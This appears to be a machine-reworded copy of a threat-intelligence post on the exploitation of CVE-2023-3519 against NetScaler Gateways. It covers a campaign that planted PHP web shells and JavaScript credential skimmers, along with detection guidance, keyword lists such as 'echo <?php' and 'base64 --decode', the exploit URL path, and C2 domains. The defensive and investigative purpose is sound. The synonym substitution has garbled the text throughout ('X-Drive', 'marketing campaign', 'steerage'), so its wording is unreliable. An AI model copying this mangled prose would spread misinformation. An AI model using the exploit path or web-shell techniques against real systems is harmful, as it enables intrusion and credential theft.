This publish was made potential by the contributions of Bastien Lardy and Ruben Castillo.
In September of 2023, X-Drive uncovered a marketing campaign the place attackers have been exploiting the vulnerability recognized in CVE-2023-3519 to assault unpatched NetScaler Gateways to insert a malicious script into the HTML content material of the authentication net web page to seize consumer credentials. The marketing campaign is one other instance of elevated curiosity from cyber criminals in credentials. The 2023 X-Drive cloud menace report discovered that 67% of cloud-related incident response engagements have been related to the usage of stolen credentials.
In response to the widespread exploitation of CVE-2023-3519 CISA launched an advisory doc containing steerage on detection, incident response, mitigations and validating security controls. Nevertheless, by a number of incident response investigations, X-Drive found a brand new exploitation artifact associated to CVE2-2023-3519 and developed extra steerage for use at the side of CISA’s detection and response suggestions.
This publish will cowl the preliminary incident that led to uncovering the bigger marketing campaign, the credential harvesting marketing campaign, in addition to the brand new artifact, issues and proposals for responding to remediating an incident involving CVE-2023-3519.
Incident overview
X-Drive recognized the marketing campaign by an incident response engagement the place a consumer had found the script after investigating reviews of gradual authentications on the NetScaler machine. The script which is appended to the reliable “index.html” file masses an extra distant JavaScript file that attaches a perform to the “Log On” factor within the VPN authentication web page that collects the username and password data and sends it to a distant server throughout authentication.
As a part of the preliminary exploit chain, the attackers despatched an internet request to “/gwtest/formssso? occasion=begin&goal=” triggering the reminiscence corruption documented in CVE-2023-3519 to jot down a easy PHP net shell to /netscaler/ns_gui/vpn. With interactive entry established by the PHP net shell, the attacker retrieved the contents of the “ns.conf” file on the machine and appended customized HTML code to “index.html” which references a distant JavaScript file hosted on attacker-controlled infrastructure.
To facilitate the credential harvesting, the JavaScript code appended to “index.html” retrieves and executes extra JavaScript code that attaches a customized perform to the “Log_On” factor which collects the shape knowledge containing the username and password data and sends it to a distant host by a HTTP POST methodology upon authentication.
Bigger credential harvesting marketing campaign
From that preliminary engagement, X-Drive recognized a number of domains created by the menace actor – jscloud[.]ink, jscloud[.]stay, jscloud[.]biz, jscdn[.]biz, and cloudjs[.]stay – registered on August fifth, sixth and 14th, and leveraging Cloudflare to masks the place the domains have been hosted. After figuring out the menace actor’s C2, X-Drive was in a position to determine virtually 600 distinctive sufferer IP addresses internet hosting modified NetScaler Gateway login pages, with concentrations in the US and Europe. The earliest modification time stamp X-Drive has recognized for NetScaler Gateway login pages is on August 11th, 2023, though the marketing campaign might have begun nearer to when the domains have been registered.
Regardless of variations within the URL, all domains hosted an virtually an identical JavaScript file, with the one distinction being the C2 area listed within the file, and all captured credentials have been despatched to the identical URI “/gadgets/accounts/“. X-Drive has additionally noticed in some situations the menace actor appending the identical URL, or a URL utilizing one of many different domains, to the identical sufferer login web page, indicating this menace actor is probably going opportunistically compromising susceptible NetScaler Gateways.
Whereas public reporting has highlighted how numerous menace actors, together with suspected Chinese language menace actors and FIN8, have exploited these vulnerabilities, X-Drive has not noticed follow-on exercise and is unable to attribute this marketing campaign at the moment.
CVE-2023-3519 detection and investigation steerage
Concerns for proof assortment from NetScaler machine:
Within the default configuration, the NetScaler machine will rewrite the “ns_gui” folder upon boot ensuing within the listing being destroyed throughout shutdown. All through numerous investigations, X-Drive has recovered priceless proof from the “ns_gui” listing together with samples of net shells and modified variations of “index.html”. Organizations ought to be cautious to not shut down the machine previous to gathering a picture or different proof.
New artifact for CVE-2023-3519 detection: NetScaler software crash logs
By way of X-Drive incident response engagements involving CVE-2023-3519, X-Drive analysts recognized that the NetScaler Packet Processing Engine (NSPPE) crash information can include proof of the exploitation of the vulnerability. The crash information are positioned with “/var/core/<quantity>/NSPPE*”. Much like the default log information on the NetScaler machine, the crash information are saved in “.gz” archives so they are going to have to be extracted previous to evaluation.
Crash file path instance: /var/core/6/NSPPE-01-9502.gz
The crash information should not human readable by default nonetheless X-Drive found that the crash information do include string knowledge that may be extracted utilizing strings, PowerShell or another device that may print the strings of printable characters in information.
X-Pressured noticed that the NSPPE crash file timestamps aligned with the filesystem timestamps of the PHP net shells created by exploitation. In different situations, X-Drive was in a position to get better instructions being handed to the net shells as a part of post-exploitation actions.
Be aware on NetScaler log backups:
X-Drive has noticed that the default NetScaler audit configuration is to leverage round logging and retain the final 25 log information with a most measurement of 100 Kb. When logs are rolled, NetScaler will retain older log information in “.gz” archives. X-Drive has noticed that a few of the accessible CVE-2023-3519 detection instruments accessible on the Web, don’t think about the log knowledge throughout the “.gz” archives. Organizations ought to guarantee to extract the log information from the archives or leverage a device comparable to “zgrep” which might search inside compressed information.
Concerns for detection methods inside NetScaler entry logs:
X-Drive recreated the exploit for CVE-2023-3519 by sending a GET request to “https://<VulnerableGateway>/gwtest/formssso?occasion=begin&goal=” nonetheless X-Drive was not in a position to get better a document of any of the net requests related to exploitation makes an attempt within the entry logs. It’s not clear whether or not the dearth of a log entry for the connection to the “formssso” endpoint is because of a configuration difficulty on the X-Drive check occasion or if the “formssso” doesn’t log connections by design.
X-Drive recommends that shoppers analyze the next log sources for proof of post-exploitation exercise within the following information with a selected deal with figuring out entries indicative of interacting with an internet shell:
- /var/log/httpaccess.log
- /var/log/httperror.log
- /var/log/httpaccess-vpn.log
X-Drive recommends that organizations assess their entry logs for POST/GET requests and anomalous PHP information. Examples of post-exploitation interactions with a PHP net shell noticed by X-Drive:
Whereas throughout exploitation exams, X-Drive was not in a position to get better the main points of the instructions executed through the PHP net shells recovered from incident response engagements with the entry logs, X-Drive nonetheless recommends organizations assess their NetScaler entry logs for proof of command execution within the occasion totally different net shells have been used.
Concerns for detection methods inside NetScaler command historical past logs:
The CISA advisory recommends organizations assess bash.log and sh.log for proof of malicious exercise leveraging the next key phrases:
- database.php
- ns_gui/vpn
- /flash/nsconfig/keys/up to date
- LDAPTLS_REQCERT
- ldapsearch
- openssl + salt
Along with the CISA advisory, X-Drive recommends organizations additionally think about assessing “/var/log/discover.log”, “/var/log/bash.log” and” /var/log/sh.log” (together with the related rollover “.gz” archives) for indicators of post-exploitation exercise utilizing the next extra key phrases:
- Whoami
- base64 –decode
- /flash/Nsconfig/keys
- &>> index.html
- echo <?php
- echo <script
- /nsconfig/ns.conf
It is necessary for organizations to research command historical past logs within the appropriate context of the attacker’s operations. Proof gathered from command historical past throughout the context of an assault involving CVE-2023-3519 will probably be targeted on post-exploitation exercise. Organizations ought to analyze course of execution knowledge sources (together with command historical past logs on the machine) for instructions related to reconnaissance, credential harvesting, lateral motion and downloading/importing of information and never prohibit their evaluation to only what’s supplied throughout the key phrases.
Concerns for remediation:
As famous within the CISA advisory, attackers have been noticed viewing NetScaler configuration information /flash/nsconfig/keys/up to date/* and /nsconfig/ns.conf which “include an encrypted password that may be decrypted by the important thing saved on the ADC equipment”.
X-Drive additionally famous that there have been a number of credentials and certificates saved within the NetScaler configuration information so organizations ought to think about altering certificates in addition to all passwords as a part of incident remediation.
Indicators
| Indicator | Indicator Kind | Context |
| jscloud[.]ink | Area | C2 |
| jscloud[.]stay | Area | C2 |
| jscloud[.]biz | Area | C2 |
| jscdn[.]biz | Area | C2 |
| cloudjs[.]stay | Area | C2 |
Scroll to view full desk
References
To find out how IBM Safety X-Drive may help with something concerning cybersecurity together with incident response, menace intelligence or offensive security providers, schedule a gathering right here: IBM Safety X-Drive Scheduler.
If you’re experiencing cybersecurity points or an incident, contact IBM Safety X-Drive for assist: US hotline 1-888-241-9812 | World hotline (+001) 312-212-8034.
